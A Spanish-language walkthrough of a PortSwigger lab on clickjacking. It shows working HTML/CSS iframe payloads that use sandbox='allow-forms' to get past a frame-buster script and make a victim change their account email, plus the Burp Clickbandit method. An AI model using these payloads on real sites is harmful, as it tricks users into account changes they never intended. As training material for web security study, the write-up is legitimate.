Clickjacking with a frame buster script
Laboratorio de Portswigger sobre Clickjacking
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
está protegido por un frame buster
que evita que el sitio web
sea incrustado en un frame
. Debemos encontrar una forma para cambiar la dirección de correo electrónico
del usuario bypasseando
un frame buster
y engañar al usuario
para que haga click
en un botón de "Actualizar correo electrónico"
, llevando así a cabo, un ataque de Clickjacking
El laboratorio
se considerará resuelto cuando la dirección de correo electrónico
haya sido cambiada. Podemos iniciar sesión
en nuestra propia cuenta utilizando las credenciales wiener:peter
Guía de clickjacking
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de clickjacking
https://justice-reaper.github.io/posts/Clickjacking-Guide/
Resolución
Al acceder
a la web
vemos esto
Si hacemos click sobre My account
nos podemos loguear
con las credenciales wiener:peter
Después de iniciar sesión
vemos que podemos cambiarnos
el correo electrónico
Si pulsamos sobre View post
vemos que hay una sección de comentarios
Para ver si una web
es vulnerable
a Clickjacking
podemos usar la herramienta shcheck
https://github.com/santoru/shcheck.git para identificar
las cabeceras de seguridad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# shcheck.py -i -x -k https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/
======================================================
> shcheck.py - santoru ..............................
------------------------------------------------------
Simple tool to check security headers on a webserver
======================================================
[*] Analyzing headers of https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/
[!] URL Returned an HTTP error: 404
[*] Effective URL: https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/
[!] Missing security header: X-XSS-Protection
[!] Missing security header: X-Frame-Options
[!] Missing security header: X-Content-Type-Options
[!] Missing security header: Strict-Transport-Security
[!] Missing security header: Content-Security-Policy
[!] Missing security header: X-Permitted-Cross-Domain-Policies
[!] Missing security header: Referrer-Policy
[!] Missing security header: Expect-CT
[!] Missing security header: Permissions-Policy
[!] Missing security header: Cross-Origin-Embedder-Policy
[!] Missing security header: Cross-Origin-Resource-Policy
[!] Missing security header: Cross-Origin-Opener-Policy
[*] No information disclosure headers detected
[*] No caching headers detected
-------------------------------------------------------
[!] Headers analyzed for https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/
[+] There are 0 security headers
[-] There are not 12 security headers
Si preferimos usar una herramienta web
podemos usar securityheaders
https://securityheaders.com/
En este caso, vemos que la web
no tiene ni Content-Security-Policy (CSP)
ni X-Frame-Options
, lo cual la hace vulnerable a Clickjacking
Algunos sitios web
que requieren completar y enviar formularios
permiten rellenar previamente
los datos del formulario
mediante parámetros GET
antes del envío
. Dado que los valores GET
forman parte de la URL
, la URL de destino
puede modificarse
para incorporar valores elegidos por el atacante
Hay otros sitios web
que pueden requerir interacción por parte del usuario
, como que el usuario ingrese manualmente los datos
, complete pasos previos
(como una verificación CAPTCHA
) antes de habilitar el envío
, etc
Para comprobar
si el formulario permite rellenar previamente los datos mediante parámetros GET
, lo primero que necesitamos hacer es identificar
los nombres
de los campos
. En este caso vemos que el valor del campo a rellenar
es email
El siguiente paso es añadir
el parámetro email
a la URL
y ver si se rellena
el campo email del formulario
, para ello, accedemos a https://0a0f00df03253f5280a3a31000330041.web-security-academy.net/my-account?email=pwned@gmail.com
y vemos que sí que funciona
Una vez comprobado esto, ya podemos construir
un payload
, para ello, nos dirigimos al Exploit Server
y pegamos este payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.3;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:75px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/my-account?email=pwned@gmail.com"></iframe>
Pinchamos sobre View exploit
y nos arroja
este mensaje
de error
Los ataques de Clickjacking
son posibles siempre que los sitios web
puedan ser cargados en un iframe
. Por lo tanto, las técnicas de prevención
se basan en restringir la capacidad de carga en iframes
para los sitios web
Una protección del lado del cliente
, aplicada a través del navegador web
, es el uso de scripts de bloqueo de iframes
. Estos pueden implementarse mediante complementos o extensiones de JavaScript
propietarias del navegador
, por ejemplo, NoScript
Los scripts
suelen diseñarse para realizar algunos o todos los siguientes comportamientos
Verificar y hacer cumplir
que laventana actual de la aplicación
sea laventana principal o superior
Hacer visibles
todos losiframes
Prevenir clics
eniframes invisibles
Interceptar y alertar
alusuario
sobre posiblesataques de Clickjacking
Las técnicas de frame busting
suelen ser específicas del navegador y la plataforma
y, debido a la flexibilidad de HTML
, los atacantes
pueden eludirlas fácilmente
. Como los frame busters
son JavaScript
, la configuración de seguridad del navegador
puede impedir su ejecución
o incluso el navegador
podría no ser compatible con JavaScript
Una estrategia eficaz
para los atacantes
contra los frame busters
es el uso del atributo sandbox
de iframe
en HTML5
. Cuando se configura con los valores allow-forms
o allow-scripts
y se omite el valor allow-top-navigation
, el script de frame busting
puede ser neutralizado
, ya que el iframe
no puede verificar
si es la ventana superior
o no
1
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>
Los valores allow-forms
y allow-scripts
permiten acciones específicas
dentro del iframe
, pero deshabilitan la navegación de nivel superior
. Esto inhibe el comportamiento de frame busting
mientras permite la funcionalidad
dentro del sitio web objetivo
Una vez sabemos esto, nos dirigimos al Exploit server
y pegamos
el nuevo exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.3;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:75px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/my-account?email=pedro@gmail.com" sandbox="allow-forms"></iframe>
Si pulsamos sobre View exploit
vemos que ahora si
que funciona
el payload
Como vemos que todo funciona correctamente, vamos a cambiarle
la opacidad
a 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.3;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:75px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/my-account?email=pedro@gmail.com" sandbox="allow-forms"></iframe>
Otra forma alternativa sería usando la herramienta Clickbandit
de Burpsuite
, para usarla nos dirigimos a Burpsuite
y pulsamos Burp > Burp Clickbandit
Pulsamos sobre Copy Clickbandit to clipboard
Nos dirigimos a Chrome
, nos abrimos la consola de desarrollador
y pegamos
ahí todo el código
Una vez hecho esto nos saldrá este menú
Marcamos
la casilla Disable click actions
para desactivar
los clicks
y la de Sandbox iframe?
para evitar
la restricción
del lado del cliente
. Debemos eliminar
el atributo allow-scripts
de Sandbox iframe?
para que funcione. Una vez hecho esto pulsamos en Start
Lo siguiente sería pulsar sobre el botón que queremos
, en este caso sobre Update email
que es el que queremos usar para el ataque de Clickjacking
Una vez hecho esto, pulsamos
sobre Finish
y se nos mostrará
como es nuestro payload
actualmente
Usando los símbolos -
y +
, podemos subir
o bajar
el aumento
, y con Toogle transparency
podemos activar
o desactivar
la transparencia
. En mi caso, lo voy a dejar de esta forma. Cuando ya lo tengamos como queremos, pulsamos en Save
y se nos descargará
un documento HTML
Pegamos
el código
en el Exploit server
Pulsamos sobre View exploit
para ver si se ve correctamente
Hacemos click sobre el botón
Nos dirigimos a My account
para ver si ha funcionado el ataque
, y vemos que así es. Una vez comprobado que se ve
y funciona
correctamente, pulsamos sobre Deliver exploit to victim
y completamos el laboratorio
. Debemos tener en cuenta que dos usuarios no pueden tener el mismo email
, por lo tanto deberemos modificar el nuestro o el email que se usa en el payload